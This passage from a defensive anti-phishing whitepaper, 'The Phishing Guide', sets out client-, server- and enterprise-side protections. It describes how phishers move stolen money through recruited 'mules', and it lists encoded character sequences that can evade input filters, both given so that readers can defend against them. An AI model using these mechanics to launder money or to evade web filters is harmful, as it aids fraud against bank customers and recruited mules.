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• Never respond to HTML e-mail with embedded submission forms.

Any information submitted via the e-mail (even if it is legitimate) will be
sent in clear text and could be observed.
• Avoid e-mailing personal and financial information. Before submitting
financial information through a Web site, look for the "lock" icon on the
browser's status bar. It signals that your information is secure during
transmission.
• For sites that indicate they are secure, review the SSL certificate that
has been received and ensure that it has been issued by a trusted
certificate authority. SSL certificate information can be obtained by
double-clicking on the “lock” icon at the bottom of the browser, or by
right-clicking on a page and selecting properties.
• Review credit card and bank account statements as soon as you
receive them to determine whether there are any unauthorized
charges. If your statement is late by more than a couple of days, call
your credit card company or bank to confirm your billing address and
account balances.

Money Laundering Job Scams

Given the successes of phishing scams in obtaining personal financial

information from their victims, phishers have developed follow-up scams in
order to safely transfer stolen monies. An increasingly popular method of
accomplishing this is through fake job scams.

Here's how these job scams work:

• The phishers exploit a number of bank accounts via standard phishing

attack vectors.
• They then have a problem of getting the money out of them as most
Internet banking facilities do not allow direct transfers to overseas accounts.
• A common way to avoid these restrictions is through job scams.
Phishers offer these "jobs" via spam e-mails, fake job advertisements
on real job websites or instant messaging spam.
• Once they have recruited a "mule", they are then instructed to create a
new bank account with the exploited bank (or use their existing one if
they are already a customer) where the phishers have exploited
accounts in the past. The phishers then remove money from the
exploited accounts and put in to the mule’s account.
• The mule is told this is a payment that needs to be transferred and is
asked to withdraw the money, minus their "commission", and typically
wire it via services such as Western Union to a European or Asian country.
The Phishing Guide
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• The phishers now have the majority of the money from the original
exploited accounts and when the money is traced by the banks or
police, the mule is left accountable.

Figure 17: A typical fake recruitment page and supporting site for attracting “mules”

Advantages Disadvantages

Cost Information Overload

By remaining aware of common phishing attack With so many attack vectors and corresponding steps that
vectors and understanding how to respond to that must be taken to identify the threat, customers are
them, customers can take cost efficient actions to often overwhelmed with necessary detection processes.
protect themselves. This may result in customers not trusting or using any
electronic communication methods.

Changing Battlefield
Phishers are constantly developing new deceptive
techniques to confuse customers and hide the true nature
of the message. It is increasingly difficult to identify attacks.
The Phishing Guide
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3.3. Server-side

By implementing intelligent anti-phishing techniques into the organization’s

web application security, developing internal processes to combat phishing
vectors and educating customers – it is possible to take an active role in
protecting customers from future attack. By carrying out this work from the
server-side, organizations can take large steps in helping to protect against
what is invariably a complex and insidious threat.

At the client-side, protection against phishing can be afforded by:

• Improving customer awareness

• Providing validation information for official communications
• Ensuring that the Internet web application is securely developed and
doesn’t include easily exploitable attack vectors
• Using strong token-based authentication systems
• Keeping naming systems simple and understandable

3.3.1. Customer Awareness

It is important that organizations constantly inform their customers and other

application users of the dangers from phishing attacks and what preventative
actions are available. In particular, information must be visible about how the
organization communicates securely with their customers. For instance, a
posting similar to the following will help customers identify phishing e-mails
sent in the organization’s name.

"MyBank will never initiate a request for sensitive information from

you via e-mail (i.e., Social Security Number, Personal ID, Password,
PIN or account number). If you receive an e-mail that requests this
type of sensitive information, you should be suspicious of it. We
strongly suggest that you do not share your Personal ID, Password, PIN
or account number with anyone, under any circumstances.

If you suspect that you have received a fraudulent e-mail, or wish to

validate an official e-mail from MyBank, please visit our anti-
phishing page http://mybank.com/antiphishing.aspx"

Key steps in helping to ensure customer awareness and continued vigilance:

• Remind customers repeatedly. This can be achieved with small

notifications on critical login pages about how the organization
communicates with their customers. Customers reaching the page
should be prompted to think about the legitimacy of the e-mail (or
other communication) that drove them to the page.
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• Provide an easy method for customers to report phishing scams, or

other possible fraudulent e-mails sent in the organization’s name. This
can be achieved by providing clear links on key authentication and
help pages that enable customers to report a possible phishing scam –
and also provide advice on recognizing a scam. Importantly, the
organization must invest in sufficient resources to review these submissions
and be capable of working with law enforcement agencies and ISPs to
stop an attack in progress.
• Provide advice on how to verify the integrity of the website they are
using. This includes how to:
• Check the security settings of their web browser
• Check that their connection is secure over SSL
• Review the “padlock” and certificate signature of the page
• Decipher the URL line in their browser
• Establish corporate communication policies and enforce them. Create
corporate policies for e-mail content so that legitimate e-mails cannot
be confused with phishing attacks. Ensure that the departments likely
to communicate with customers clearly understand the policy and take
steps to enforce them (such as perimeter content checking systems,
review by QA teams, etc.).

To be effective, organizations must ensure that they are sending a clear,

concise and consistent message to their customers. For example, don’t post
announcements claiming to “never prompt users to fill in forms in an e-mail”
one day and then send out an e-mail request for online bill payment the
following day, which includes a login form in the e-mail.

• Respond quickly and clearly about phishing scams that have been
identified. It is important that customers understand that the threat is
real and, importantly, how the organization is working to protect them
against attack. However, organizations must take care not to swamp
customers with information.

Advantages Disadvantages

Low Cost Consistency

Out of all the anti-phishing techniques, ensuring Care must be taken to ensure that communications are
that customers are aware of the threats and can conducted consistently. One poor decision can undermine
take preventative action themselves proves to be a much of the work.
cost worthy investment.

Low Tech Information Overload

By providing a low tech solution to a complex Care must be taken to not overload customers with too
threat, customers are better able to trust their much information and make them fearful of using the
relationship with the organization. organization’s online resources.
The Phishing Guide
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3.3.2. Validating Official Communications

Steps may be taken by an organization to help validate official customer

communications and provide a means for identifying potential phishing attacks.
Tied closely with the customer awareness issues already discussed, there
are a number of techniques an organization may apply to official communications,
however care must be taken to use only techniques that are appropriate to
the audience’s technical ability and value of transactions.

E-mail Personalization

E-mails sent to customers should be personalized for the specific recipient.

This personalization may range from the use of the customer's name, or
reference some other piece of unique information shared between the
customer and the organization.

Examples include:

• “Dear Mr Smith” instead of “Dear Sir,” or “Our valued customer”

• Credit card account holder “**** **** **32 6722” (ensure that only parts
of confidential information are used)
• Referencing the initiating personal contact such as “your account
manager Mrs Jane Doe…”

Organizations must ensure that they do not leak other confidential details
about the customer (such as full address details, passwords, individual
account details, etc.) within their communications.

Previous Message Referral

It is possible to reference a pervious e-mail that was sent to the customer –

therefore establishing a trail of trust in communications. This may be
achieved through various means. The most common methods are:

• Clearly referencing the subject and date of the previous e-mail.

• Providing a sequential number to the e-mail.

While these methods of e-mail referral are valuable, they are also complex for
the customer to validate. There are no guarantees that the customer still
retains access to a previous e-mail to verify the sequence – and is especially
so if the organization sends the customer a high volume of e-mails, or
frequent advertising-type messages.
The Phishing Guide
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Digital Signatures

The use of digital certificates to sign messages is recommended. However,

care must be taken to educate customers on their use and understand how
to validate signatures.

Web Application Validation Portals

A successful method of providing reassurance to customers on the authenticity

of a communication, and subsequently providing the ability to identify a new
phishing attack, is to provide a portal on the corporate website. The web
portal exists to allow customer to copy/paste their received message content
to an interactive form, and for the application to clearly display the authenticity
of the message.

If the message fails the authenticity checks, the message should be manually
verified by the organization to evaluate whether the message contains a
malicious phishing attack.

Similarly, an interface should be provided in which customer can copy/paste

suspicious URLs that they have received. The application then validates
whether this is a legitimate URL relating to the organization.

Visual or Audio personalization of E-mail

It is possible to embed personalized visual or audio data within an e-mail.

This material would have been supplied by the customer previously, or contain
the equivalent of a shared secret. However, this method is not recommended
as it may be rendered ineffectual through the enforcement of non-HTML or
attachment e-mails at the customer side.

Advantages Disadvantages

Efficient Additional Resources

The simple process of personalizing Organizations must typically expand their online validation
communications makes it a lot easier for services which will require additional resources – both in
customers to identify official communications from development and day-to-day management.
spam. Making the process of validating message
sources faster and more efficient.

Customer Awareness
Customers may not use or be aware of the significance of
these personalized protective actions.
The Phishing Guide
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3.3.3. Custom Web Application Security

Organizations constantly underestimate the anti-phishing potential of their

custom web applications. By applying robust content checking functions
and implementing a few “personalization” security additions, many popular
phishing attack vectors can be removed.

Securing web-based applications offers the greatest “bang for the buck”
method of protecting customers against phishing attacks.

A key security concern revolves around increasingly sophisticated cross-site

scripting vulnerabilities. These cross-site scripting vulnerabilities often
escape other client-side protection strategies due to inherent trust
relationships between the customer and the website owner – resulting in
highly successful (and undetectable) attacks.

Content Validation

One of the most common security flaws in custom web-based applications

relates to poorly implanted (or nonexistent) input validation processes.

The key principles to successfully implementing content validation processes include:

• Never inherently trust data submitted by a user or other application

components.
• Never present submitted data directly back to an application user
without sanitizing it first.
• Always sanitize data before processing or storing it.
• Ensure that all dangerous characters (i.e. characters that may be
interpreted by the clients browser or background application
processes) as constituting an executable language are replaced with
their appropriate HTML safe versions. For example, the less-than
character “<” has a specific meaning in HTML – so is should be
rendered back to users as &lt.
• Ensure that all data is sanitized by decoding common encoding
schemes (such as %2E, %C0%AE, %u002E, %%35%63) back to their
root character. Again, if the character is “unsafe”, it should be
rendered in the HTML equivalent format. Beware that this decoding
process may have to be carried out many times – until all encoded
sequences have been removed.

More information can be found in “URL Encoded Attacks” and “HTML Code
Injection and Cross-site scripting” by Gunter Ollmann.
The Phishing Guide
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Session Handling

The stateless nature of HTTP and HTTPS communication necessitates the

correct application of session handling processes. Many custom
applications implement custom session handling routines that are potentially
vulnerable to preset session attacks.

To overcome a preset session attack, developers should ensure that their

application functions the following way:

• Never accept session information within a URL.

• Ensure that SessionID’s have expiry time limits and that they are
checked before use with each client request.
• The application should be capable of revoking active SessionID’s and
not recycling the same SessionID for an extended period.
• Any attempts to submit an invalid SessionID (i.e. one that has expired,
been revoked, extended beyond its absolute life, or never been
issued), should result in a server-side redirection to the login page and
be issued with a new SessionID.
• Never keep a SessionID that was initially provided over HTTP after the
customer has logged in over a secure connection (i.e. HTTPS). After
authenticating, the customer should always be issued a new SessionID.

More information can be found in “Web Based Session Management” by

Gunter Ollmann.

URL Qualification

For web-based applications that find it necessary to use client-side redirection

to other page locations or hosts, great care must be taken in qualifying the
nature of the link beforehand. Application developers should be aware of the
techniques discussed in Section 2 of this paper.

Best practices for URL qualification are:

• Do not reference redirection URLs or alternative file paths directly

within the browser (such as
http://mybank.com/redirect.aspx?URL=secure.mybank.com).
• Always maintain a valid “approved” list of redirection URLs. For
example, manage a server-side list of URLs associated with an index
parameter. When a client follows a link, their submission will reference
this index, and the returned redirection page will contain the full
managed URL.
The Phishing Guide
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• Never allow customers to supply their own URLs.

• Never allow IP addresses to be used in URL information. Always use
the fully qualified domain name, or at the very least conduct a reverse
name lookup on the IP address and verify that it lies with a domain the
application should be trusted.

Authentication Processes

For many phishing scams, a key goal of the attack is to capture the customer's
authentication credentials. To do so, the attacker must be able to monitor all
the information submitted during the application login phase. Organizations
can use multiple methods to make this process more difficult for the phisher.

Application developers should review the comprehensive guide to “Custom

HTML Authentication” by Gunter Ollmann to prevent most forms of possible
attack. However, related specifically to protecting against phishing attacks,
developers should:

• Ensure that (minimally) a two-phase login process is used. The

customer is first presented with a login screen that they must present
account details that are typically less secure (i.e. there is a high
probability that the customer may use these details on other websites –
such as their login name and credit card number). Once successfully
passing this page, they are presented with a second page that
requires two or more unique pieces of authentication information
before they can proceed to the application proper.
• Use of anti key-logging processes such as selecting specific parts of a
password or pass phrase from drop-down list boxes is highly recommended.
• Try to used personalized content (combined with customer awareness)
to identify fake websites. For example, when a customer originally
creates their online account they should be able to select or upload
their own personalized graphic. This personalized graphic will always
be presented to them during the second stage of the authentication
process and on any authenticated page. This graphic may be used
as a watermark of authenticity to combat faked content.
• Not make the authentication process too complex. Be aware that
disabled customers may have difficulty with some functionality such as
drop-down boxes.
The Phishing Guide
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Image Regulation

As many phishing attacks rely upon hosting a copy of the target website on a
system under the phisher's control, there are potential avenues for organizations
to automatically identify a faked website.

Depending upon whether the phisher has mirrored the entire website (including
pages and their associated graphics) or is just hosting a modified HTML
page (which reference graphics located on the real organizations servers), it
may be possible to disrupt or uniquely identify the source of the attack.

Two methods are available to application developers:

• Image Cycling
Each legitimate application page references their constituent graphical
images by a unique name. Each hour, the names of the images are
changed and the requesting page must reference these new image
names. Therefore any out-of-date static copies of the page that make
reference to these centrally stored images will become dated quickly.
If an out-of-date image is requested (say 2+ hours old) a different
image is supplied – perhaps recommending that the customer login
again to the real site (such as “Warning: Image Expired”).

• Session-bound Images
Extending the image cycling principle further, it is possible to reference
all images with a name that includes the user’s current SessionID.
Therefore, once a fake website has been discovered (even if the
phisher is using locally stored graphics), the organization can review
their logs in an attempt to discover the originating source of the copied
website. This is particularly useful for fake sites that also use content
that requires authenticated access and could only be gained by a
phisher actually using a real account in the first place.

In addition, the organization may utilize transparent or invisible

watermarking technologies and embedding session information into
the graphic itself. However, this process would incur high
performance overheads at the server-side.
The Phishing Guide
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Advantages Disadvantages

Robustness Requires Skilled Developers

By adding appropriate security to custom Implementing these security additions requires skilled
developed web applications, organizations find that developers with some experience in implementing security.
not only are their applications better capable of These resources are traditionally harder to obtain.
resisting phishing attacks, but that overall
robustness against other more sophisticated
attacks is gained.

Cost Effectiveness Must be Tested

By fixing security issues within the application, the Organizations must ensure that all new security features
number of attack vectors available to a phisher (along with any standard application modifications) are
diminishes substantially. Securing the base thoroughly tested from a security perspective before going
application thus proves to be a cost effective live (or as soon as possible after going live).
defense against current and future threats.

Customer Independence Performance Overheads

Security improvements with the server-side Extra processing resources are normally required to
applications do not generally involve changes to the implement these security mechanisms. Therefore
customer's experience. Therefore changes can be application performance may be adversely affected.
conducted independent of the customer's client-
side configuration.

3.3.4. Strong Token-based Authentication

There are a number of authentication methods that make use of external

systems for generating single-use or time-based passwords. These systems,
often referred to as token-based authentication systems, may be based on
physical devices (such as key-fobs or calculators) or software. Their purpose
is to create strong (one-time) passwords that cannot be repeatedly used to
gain entry to an application.

Customers of the legitimate web-based application may use a physical token such
as a smartcard or calculator to provide a single-use or time-dependant password.

Figure 18: Strong token-based authentication

The Phishing Guide
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Due to high setup and maintenance costs, this solution is best suited to high
value transactional web applications that are unlikely to require a large number
of users.

As with any authentication process, organizations must strike a balance between

what personal or confidential details are minimally required to uniquely
authenticate a customer, and how much of this information is either publicly
available or likely to be used by the customer to access another organization’s
web-based application. By reducing the likelihood of authentication details
being shared between multiple organizations, there are fewer opportunities
for an attacker to achieve an identity theft.

Advantages Disadvantages

Time Dependence User Education

The password is time dependant. Therefore, Users must be provided with guidance on how to use the
unless the phisher can retrieve and use this physical token within a time-dependent framework.
information within preset time limits, the password
will have expired and become useless.

Physical Token Access Token Costs

A phisher must gain physical access to the token in Physical tokens are typically costly to manufacture and
order to impersonate the user and carry out the theft. distribute to users. Each physical token may cost between
US $7 and $70, with distribution costs (such as postage)
being additional.

Sense of Trust Setup Times

Users are more inclined to trust token-based Account creation and token distribution will typically
authentication systems for monetary transactions. require a number of days before the user potentially can
access the web application.

Anti-Fraud High Management Costs

Duplicating the physical token requires much more Managing a token-based system requires more effort and
sophistication, even if the victim provides their greater access to internal resources.
personal PIN number associated with the token.
Scaling Issues
A customer may need to carry multiple tokens, one for
each service to which they are subscribed.

3.3.5. Host and Linking Conventions

A growing number of phishing attacks make use of the confusion caused by

organizations using complex naming of host services (such as fully qualified
domain names) and undecipherable URLs. Most customers are non-technical
and are easily overwhelmed with the long and complex information presented
in “follow this link” URLs.
The Phishing Guide
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Wherever possible, organizations should:

• Always use the same root domain. For example:

http://www.mybank.com/ebank instead of http://www.mybank-ebank.com
http://www.mybank.com/UK instead of http://uk.mybank.com
https://secure.mybank.com instead of https://www.secure-mybank.com
• Automatically redirect regional or other registered domain names to the
main (single) corporate domain. For example:
http://www.mybank.co.uk redirects to http://www.mybank.com/UK
https://secure.mybank.com.au redirects to https://secure.mybank.com/AU
http://www.mybank-investor.de redirects to
http://www.mybank.com/DE/Investor
• Use host names that represent the nature of the web-based application.
For example:
https://secure.mybank.com instead of https://www.mybank.com
http://invest.mybank.com instead of
http://www.InvestorAtMyBank.com
• Always use the simplest URL or host name possible. For example:
https://secure.mybank.com instead of
https://www.mybank.com/secureinvestor
http://news.mybank.com/UK instead of
http://www.mybank.co.uk/onlinebanking/changes/news
• Use address translation and load balancing technologies to avoid the
use of numbered hosts. For example:
http://www.mybank.com instead of http://www3.mybank.com, etc.
• Never keep session information in a URL format. For example, don’t
do the following:
http://www.mybank.com/ebanking/transfers/doit.aspx?funds=34000&agent=
kelly02&sessionid=898939289834

Instead, keep the URL as clean as possible and manage this extra information
through appropriate server-side session management techniques (preferred),
or keep the data within hidden fields of the HTML document and only use
HTTP POST commands (less preferred).
The Phishing Guide
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Advantages Disadvantages

Easy to Apply Application Modification

Application of a robust and simple naming Some complex applications with hard coded host names
convention for host and URL naming is a simple may require updating.
process. It can be applied quickly.

Visible Identification
A simplified naming convention makes it much
easier for customers to spot fraudulent links and
understand their site destination.

Easy to Explain
Organizations can explain quite simply how their
naming convention functions, and provide valuable
advice on identifying and reporting malicious links.

3.4. Enterprise

Businesses and ISP’s may take enterprise-level steps to secure against phishing
scams – thereby protecting both their customers and internal users. These
enterprise security solutions work in combination with client-side and server-
side security mechanisms, offering considerable defense-in-depth against
phishing and a multitude of other current threats.

Key steps to anti-phishing enterprise-level security include:

• Automatic validation of sending e-mail server addresses

• Digital signing of e-mail services
• Monitoring of corporate domains and notification of “similar” registrations
• Perimeter or gateway protection agents
• Third-party managed services

3.4.1. Mail Server Authentication

Multiple methods have been proposed to authenticate sending mail servers.

In essence, the sender's mail server is validated (such as reverse resolution
of domain information to a specific IP address or range) by the receiving mail
server. If the sender’s IP address is not an authorized address for the e-mail
domain, the e-mail is dropped by the receiving mail server.
The Phishing Guide
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Figure 19: Mail server authentication – DNS querying of MX records

Alternatively, through the use of Secure SMTP, e-mail transport could be conducted
over an encrypted SSL/TLS link. When the sender mail server connects to
the recipient mail server, certificates are exchanged before an encrypted link
is established. Validation of the certificate can be used to uniquely identify a
trusted sender. Missing, invalid or revoked certificates will prevent a secure
connection from occurring and not allow delivery of e-mails.

If desired, an additional check with the DNS server can be used to ensure
that only authorized mail servers may send e-mail over the secure SMTP
connection.

Figure 20: Mail server authentication – server certificates

The Phishing Guide
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The purpose of validating the sending server’s address is to help cut down
the volume of spam, and accelerate the receipt of e-mails known to come
from a “good” source. However, both systems can be overcome with poor
server configuration – especially if the sender server can operate as an open
relay agent. It is important to note that Secure SMTP is not commonly deployed.
However, e-mail server validation is useful in intra-corporate communications
when combined with mail server rules that block/disallow inbound e-mails
that use “From:” addresses which could only come from internal users.

Advantages Disadvantages

Easy Configuration From: Address Spoofing

Updating the DNS server with the relevant MX Since the SMTP sender address is not normally visible to
records for each mail server is required for reverse e-mail recipients, it is still possible to spoof the From:
resolution of valid mail servers within a domain. address.

Anonymity Prevention E-mail Forwarding

Sending servers are validated before e-mails are Neither method allows for e-mail forwarding processes.
accepted by the receiving server. Therefore the Validation of sending server depends upon direct sender-
phishers sending server cannot be anonymous. receiver connections.

Business E-mail Identification Third-party E-mail Services

Validation of the sending server can be used to Third-party e-mail service providers (such as
identify legitimate business e-mails, thereby MessageLabs) act as mail forwarders.
lowering e-mail spam false positives
Secure SMTP Distribution
SMTP over secure SSL/TLS protocols is not common, nor
is the implementation of the supporting certificate
architecture for mail servers.

3.4.2. Digitally Signed E-mail

Extending the processes for digitally signed e-mail discussed in section 3.2.4,
enterprises can configure their receiving e-mail servers to automatically validate
digitally signed e-mails before they reach the recipient. This process may
prove to be more efficient for an organization, and automatic steps can be
taken to alert recipients of invalid or unsigned e-mails.

In addition, the enterprise e-mail server can be configured to always sign

outbound e-mail. By doing so, a single “corporate” digital certificate can be
used and customers who receive these signed e-mails can be confident that
their received message is legitimate.
The Phishing Guide
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Figure 21: Digitally signed e-mail – receiving mail server validation of authenticity

3.4.3. Domain Monitoring

It is important that organizations carefully monitor the registration of Internet

domains relating to their organization. Companies should be continuously
monitoring domain name registrars and the domain name system for domain
names that infringe upon their trademarked names, and that could used for
launching spoofed websites to fool customers. There are two areas of concern:

1.The expiry and renewal of existing corporate domains

2.The registration of similarly named domains

Domain Name Expiry and Renewal

There are numerous agencies that allow the registration of domains previously
owned by an organization that have not been renewed. Since many organizations
own multiple domains, great care must be made to manage renewal payments
if they wish to retain it. Failure to reregister domains in a timely fashion will
result in a loss of service (i.e. domain name lookup no longer associate to an
IP address) or the domains may be purchased by a third-party.

Registration of Similarly Named Domains

It is a simple process for someone to register a domain name through any

domain registrar, anywhere in the world. Consequently, there are many
routes and opportunities for third-parties to register domain names that may
infringe upon an organization’s trademark or used to trick customers into
believing that they have reached a legitimate host.
The Phishing Guide
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For example, assuming the organization’s name is “Global Widgets” and their
normal website is www.globalwidgets.com, the organization should keep a
watchful eye out for:

• Hyphenated names – www.global-widgets.com

• Country specific – www.globalwidgets.com.au
• Legitimate possibilities – www.secure-globalwidgets.com
• Mixed wording – www.widgetglobal.com
• Long host names – www.global.widgets.com
• Hard to spot alternate spellings – www.globalwidget.com or
www.globallwidgets.com
• Mixed-case ambiguities – www.giobaiwidgets.com
(www.gIobaIwidgets.com)

There are now commercial services available that help organizations monitor
the domain name service and alert when potentially threatening new
domains are registered. Similarly, alerting services exist that will observe
popular hacking chat rooms and posting forums for discussions on phishing
and other spoofing scams.

3.4.4. Gateway Services

The enterprise network perimeter is an ideal place for adding gateway

protection services that can monitor and control both inbound and outbound
communications. These services can be used to identify malicious phishing
content; whether it is located within e-mail or other communication streams.
Typical enterprise-level gateway services include:

• Gateway Anti-Virus Scanning – used to detect viruses, malicious

scripting code and binary attachments that contain Trojan horse software.
• Gateway Anti-Spam Filtering – rule-based inspection of e-mail content
for key phrases (such as Viagra) and bad words, typically used to
identify common spam, but also capable of stopping many forms of
phishing attacks that are designed to look like ordinary spam.
• Gateway Content Filtering – inspection of many types of communication
methods (such as e-mail, IM, AOL, HTTP, FTP) for bad content or requests.
Simple protection against users visiting known bad or dangerous websites.
• Proxy Services – Management concatenation of Internet protocols and
control over types of egress communications. Protection against
inbound attacks through the use of network address translation. Good
protection against common information leakage of internal network
configurations.
The Phishing Guide
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Advantages Disadvantages

Update Efficiency Traffic Limitations

It is far easier, and faster, for a large institution to Some forms of network traffic cannot be scanned.
update a relatively small number of gateway
scanners than it is to ensure that all desktop Firewall Changes
scanners are up to date. Automated desktop virus Some gateway implementations may require manual
scan updates help, but are still somewhat slower configuration of firewalls and other gateway devices to
than gateway updates. implement blocking rules.

ISP Independence Roaming User Protection

Gateway content filtering is very effective at Roaming users such as mobile salesmen are not protected
blocking access to known phishing sites or by the gateway services.
content, without waiting for an ISP to remove the
offending phishing site.

Preemptive Protection
Malicious code can be blocked from entering the
network.

3.4.5. Managed Services

While perimeter defense systems provide a good safeguard against many

common phishing attack vectors, phishers (along with spammers) are
constantly developing methods designed to bypass these protection agents.
Managed services in the realm of anti-spam and anti-phishing provide valuable
improvements in security. This is largely due to their ability to analyze e-mail
messages delivered at a global level, and identify common threads between
malicious e-mails. For instance, an organization may only receive five or six
carefully disguised phishing e-mails with minor content changes – not enough
to trigger an anti-spam response – while the managed service provider has
spotted several thousand of the same style e-mails, which triggers the anti-
spam/anti-phishing blocking processes. When dealing with phishing and
spam, e-mail volume is a key component in identifying malicious activities.

Active Web Monitoring

Managed service providers may deploy agent-based bots to monitor URLs

and web content from remote sites, actively searching for all instances of an
organization’s logo, trademark, or unique web content. The subscribing
organization institution provides a “white list” of authorized users of logo,
trademark, and unique web content to the service provider. When the bots
detect unauthorized deployments or instances of the logos, trademarks, or
other web content, remediation actions may be taken by the subscriber.
The Phishing Guide
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Advantages Disadvantages

Ease of Use Costly

Since the services are provided by an external For large organizations, outsourcing protection to managed
party, there are very few internal requirements in service providers can be expensive. For smaller
setting up and configuring the service. organizations, the cost may be less than running the
service themselves with dedicated resources.
Wider Visibility
Managed service providers that look after many False Positive Management
organizations globally have great visibility of Steps must be taken to manage false positives and
current threats and can easily identify threats that quarantine procedures – requiring internal resources to
would normally fall below standard triggering monitor and manage this process.
threshold.

Timely Intervention
Legal writs may be generated as a result of active
monitoring of content, and identification of
inappropriate use even if no phishing e-mails have
been detected.

Section 4: Summations

4.1. Conclusions

Phishing started off being part of popular hacking culture. Now, as more
organizations provide greater online access for their customers, professional
criminals are successfully using phishing techniques to steal personal
finances and conduct identity theft at a global level.

By understanding the tools and technologies phishers have in their arsenal,

businesses and their customers can take a proactive stance in defending
against future attacks. Organizations have within their grasp numerous
techniques and processes that may be used to protect the trust and integrity
of their customer’s personal data. The points raised within this paper, and the
solutions proposed, represent key steps in securing online services from
fraudulent phishing attacks – and also go a long way in protecting against
many other popular hacking or criminal attack vectors.

By applying a multi-tiered approach to their security model (client-side,

server-side and enterprise), organizations can easily manage their protection
technologies against today’s and tomorrow’s threats – without relying upon
proposed improvements in communication security that are unlikely to be
adopted globally for many years to come.
The Phishing Guide
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4.2. Resources

“Proposed Solutions to Address the Threat of Email Spoofing Scams”,

The Anti-Phishing Working Group, December 2003

“Anti-Phishing: Best Practices for Institutions and Consumers”,

McAfee, March 2004

“URL Encoded Attacks”,

Gunter Ollmann, 2002

“HTML Code Injection and Cross-site scripting”,

Gunter Ollmann, 2001

“Web Based Session Management”,

Gunter Ollmann, 2002

“Custom HTML Authentication”,

Gunter Ollmann, 2003

“Phishing Victims Likely Will Suffer Identity Theft Fraud”,

Gartner Research Note, A. Litan,14 May 2004.

Information Links

Code Fish Spam Watch - http://spamwatch.codefish.net.au/

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